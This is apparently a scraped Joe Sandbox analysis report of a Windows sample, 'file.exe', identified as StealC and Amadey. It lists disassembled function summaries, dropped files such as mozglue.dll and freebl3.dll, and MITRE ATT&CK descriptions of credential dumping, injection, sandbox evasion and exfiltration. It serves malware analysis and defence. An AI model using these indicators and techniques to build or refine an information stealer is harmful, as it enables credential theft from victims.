Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction ID: 9c6843b243cd0c66a7efb14594550b44c9556b2b9ec3c088f4c646e07ebe2831
Opcode Fuzzy Hash: c384ab86d2143dd5b64dd746c8ec8863ec9d2fa5c87790257fc045823374c771
Instruction Fuzzy Hash: 4BD0C731194508F6D7506AA48D49F1F37789755715F20C021F755549A1C7B1D450DFD4

Function 6C9350E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C93510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C,?,?,?,?,?), ref: 6C935167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C935196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C934E9C), ref: 6C935234

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: ba07735fb69abb9669c4983ab35ef74239abbc8849490f8382f4c19f69164483
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: E691AE75505666CFCB14CF08C490A5ABBA6FF99318B28868CDC589B715D732FD82CBE0

Function 6C9708F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970918
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C9709A6
EnterCriticalSection.KERNEL32(6C9BE7DC,?,00000000), ref: 6C9709F3
LeaveCriticalSection.KERNEL32(6C9BE7DC), ref: 6C970ACB

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction ID: 333d034526032a2092b944541413d14b9abca9dd1f356076e708289d2206a6b3
Opcode Fuzzy Hash: e014169188706f0f37b9be1e0c765c1a3fba8cc496b5d0d6ada27da5cf280e84
Instruction Fuzzy Hash: FE515C36B07650DBEF189A29C49462733B9EBC2F24B34957AD86597FC0D732EC0186E4

Function 6C98B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B628

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C98B2C9,?,?,?,6C98B127,?,?,?,?,?,?,?,?,?,6C98AE52), ref: 6C98B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C98B127,?,?,?,?,?,?,?,?), ref: 6C98B74D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction ID: 2fcfd06d3e0be8a95e03f1e76178f6dba52d5e97c36590db57580a29b84da89b
Opcode Fuzzy Hash: edf36e881ec820b75507d767afd00c0493e1d5c4c83c154398539db8eecfc354
Instruction Fuzzy Hash: 2451CB71A063168BEF14CF18C98066EB7B5FF85714F59892DD85AABB10DB31E804CBA1

Function 6C98DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C97FF2A), ref: 6C98DFFD

Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C9890FF
Part of subcall function 6C9890E0: free.MOZGLUE(?,00000000,?,?,6C98DEDB), ref: 6C989108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C97FF2A), ref: 6C98E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C97FF2A), ref: 6C98E0FE

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction ID: b0f313c279c09cd5a5379f4e00dd67816b5770ad7f0ae3fa48757986aa099d15
Opcode Fuzzy Hash: 00415ff9590467d514bc8552f378d24e0878321413939d452f2934ebb070dc54
Instruction Fuzzy Hash: 6B41D4B970A206CFEB14CF68C8A076A73B6BB46308F244D39D516DB740E731E904CB92

Function 6C986E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C986EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C986EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C986F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986F5C

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction ID: 5d658adb7f9bd6a054d040df3a810e526cad90dbf0824fdf2abb280aadba6d1b
Opcode Fuzzy Hash: 0c010409da1a80adaa53b45fe10dce7b9c317d3a90893c3da6a8d53de855d19c
Instruction Fuzzy Hash: 0231F671A2160A8FDB04CF2CC981AAA73E9FF94304F50453DD41ACB661EF31E669C7A1

Function 6C99B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C940A4D), ref: 6C99B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C940A4D), ref: 6C99B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C940A4D), ref: 6C99B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C940A4D), ref: 6C99B67F

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction ID: 8acc8fb5a9dbbb84c646dcbb8c73ea7d3757ce5fc067766514465aa767f47405
Opcode Fuzzy Hash: eed9b71bea18079e72142323abdc8058d20ac8fad6d56ee39c923e9ba544756b
Instruction Fuzzy Hash: A2310671A0021A8FDB20CF58C84466ABBF9FF81325F1A8529D80ADB311DB35F915CBE0

Function 6C96F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C96F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C96F668

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 5e7458d6f5d138586bc0b72184c461edd8654fd4f4c94c9e2514e18a1f5a2d3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 92316171A00214AFDB14CF5ECDC0AAB77B9EB94358B14853CFA4A8BF04D632ED458B90

Function 6C9826B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826C1
free.MOZGLUE(?), ref: 6C9826E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9826FF
free.MOZGLUE ref: 6C98270D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction ID: bfe6920157d03f7a46c69c24bcdb804644286aab3d25539f9093387ba293ba96
Opcode Fuzzy Hash: 82790be9d13565d0be33615a22db6d8635ec1bfe9e5e680c8695c9db8f5978b4
Instruction Fuzzy Hash: 0EF0F9B27026056BEB009A18D88495B73ADEF51218B600435FA16C3B02E332F918C6A5

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKJDGDGDHDGDBFIDHDBA

C:\ProgramData\CAEHDBAA

C:\ProgramData\CBAKJKJJJECFIEBFHIEGHJDAFI

C:\ProgramData\DGHCBAAEHCFIDGDHJEHC

C:\ProgramData\FIIEGDBA

C:\ProgramData\JDGCFBAFBFHJEBGCAEGH

C:\ProgramData\KJDGIJECFIEBFIDHCGHDHIEBAK

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre